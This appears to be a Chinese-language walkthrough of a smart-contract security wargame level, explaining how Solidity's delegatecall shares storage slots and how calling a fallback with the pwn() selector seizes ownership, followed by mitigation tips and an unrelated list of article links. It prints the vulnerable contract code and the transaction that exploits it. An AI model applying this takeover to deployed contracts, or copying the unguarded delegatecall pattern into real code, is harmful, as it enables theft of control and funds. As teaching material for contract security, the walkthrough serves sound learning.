委托调用(delegatecall)
委托调用是一种特殊的低级函数调用,旨在从另一个(通常是库)合约中调用函数。
delegateCall()的优点是可以保留当前调用合约环境的内容。此环境包括其storage及其msg.sender,msg.value属性。
以太坊将数据存储在存储“插槽”中,即32字节大小的插槽。每次将变量保存到存储时,它会自动占用当前插槽中的剩余空间,或者按顺序占用下一个插槽。
在下图中,合约A向合约B的saveX()函数发出委托调用,该函数最终会改变合同A的存储。

首先,Contract A通过delegatecall调用saveX函数。委托调用覆盖合约B的存储与存储调用合约akaStorage A.
接下来,执行thesaveX函数。请注意,最初合约B存储到存储槽0中。因此,当此函数现在引用变量bar时,再次查看槽0。
但是现在插槽0是引用指针foo,因此foo设置为x。bar仍然超出范围,没有受到影响。
当合约A向合约B发出委托调用时,它允许合约B自由地改变其存储A.
显然,当开发人员在不安全的存储环境中使用delegatecall()或从恶意库继承时,安全风险就会发生
如果存储变量是通过低级的delegatecall访问的,那么两个合约的存储布局必须对等,以便被调用合约能够按名称正确访问调用合约的存储变量。当然,如果将存储指针作为函数参数传递,就像在高级库中那样,情况就不是同了。
现在利用您对delegatecall()的理解来获得此级别合同的所有权!
细节演练
1、delegation.sol对库合约delegation.sol进行delegatecall。
2、注意Delegate.sol有一个名为pwn()的公共函数,它将所有者变量的所有权更改为调用该函数的任何人!
contract Delegate {
address public owner; // Occupies slot 0
。..
function pwn() public {
owner = msg.sender; // Save msg.sender to slot 0
}
}
3、注意,委托合同的槽0也存储了owner,确切地说是您想要更改的变量!此外,如果您设法调用Delegation.sol中的回退函数来调用pwn(),您将成为调用合约的所有者。
function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
4、在以太坊中,您可以通过在事务中发送数据来调用公共函数。格式如下:
contractInstance.call(bytes4(sha3(“functionName(inputType)”))
5、使用Remix IDE或控制台,调用Delegation.sol的回退功能:
// I did so in the console, having already computed
// the bytes4(sha3(“pwn()”))
await sendTransaction({
from: “0x1733d5adaccbe8057dba822ea74806361d181654”,
to: “0xe3895c413b0035512c029878d1ce4d8702d02320”,
data: “0xdd365b8b0000000000000000000000000000000000000000000000000000000000000000”
});
6、wait contract.owner()显示您现在是所有者!
提示:您可以执行Remix调试器(在Javascript VM模式下)以查看存储环境如何更改! 您可以在Remix调试器的storage fully loaded列表中找到存储插槽。
关键细节
· 使用更高级别的call()函数继承库,特别是当你i)不需要更改合同存储和ii)不关心gas控制时。
· 更改合同存储的库继承时,请确保将存储插槽与库的存储插槽对齐,以避免出现这些边缘情况。
· 对调用delegatecalls的函数进行身份验证并进行条件检查。
相关热词:#区块链
VRRP是什么?VRRP的作用和工作原理
时间:2026-06-05
32768晶振封装尺寸详解
时间:2026-06-05
静态路由是什么?静态路由如何配置?
时间:2026-06-05
一文详解光耦的作用与分类、使用技巧
时间:2026-06-05
热插拔是什么?热插拔有哪些特点?
时间:2026-06-05
深度解析电磁炉的工作原理与常见故障
时间:2026-06-04
介绍电流互感器的6种常见接线方法
时间:2026-06-04
VGA接口的详细解读和应用
时间:2026-06-04
物联网新兴薄膜技术
时间:2026-06-04
接触器的规格、原理结构、应用接线
时间:2026-06-04
GoKit3的硬件电路原理
时间:2026-03-06
如何搭建一个私有云平台
时间:2026-03-06
一文了解物联网(IoT)的多维挑战
时间:2026-03-06
基于 STM32和机智云物联网平台的农作物需水...
时间:2026-03-06
如何实现热水器的远程控制功能
时间:2026-03-06
物联网中常用指令——AT命令
时间:2026-03-06
物联网的前世今生:什么是物联网?实现物联...
时间:2026-03-06
基于N32G457和RT-Thread打造的私有化定制家...
时间:2026-03-06
朗骏智能推出四款全新的可联网智能光控产品
时间:2026-03-06
xG22E SoC以能量采集技术实现“环境物联网”...
时间:2026-03-06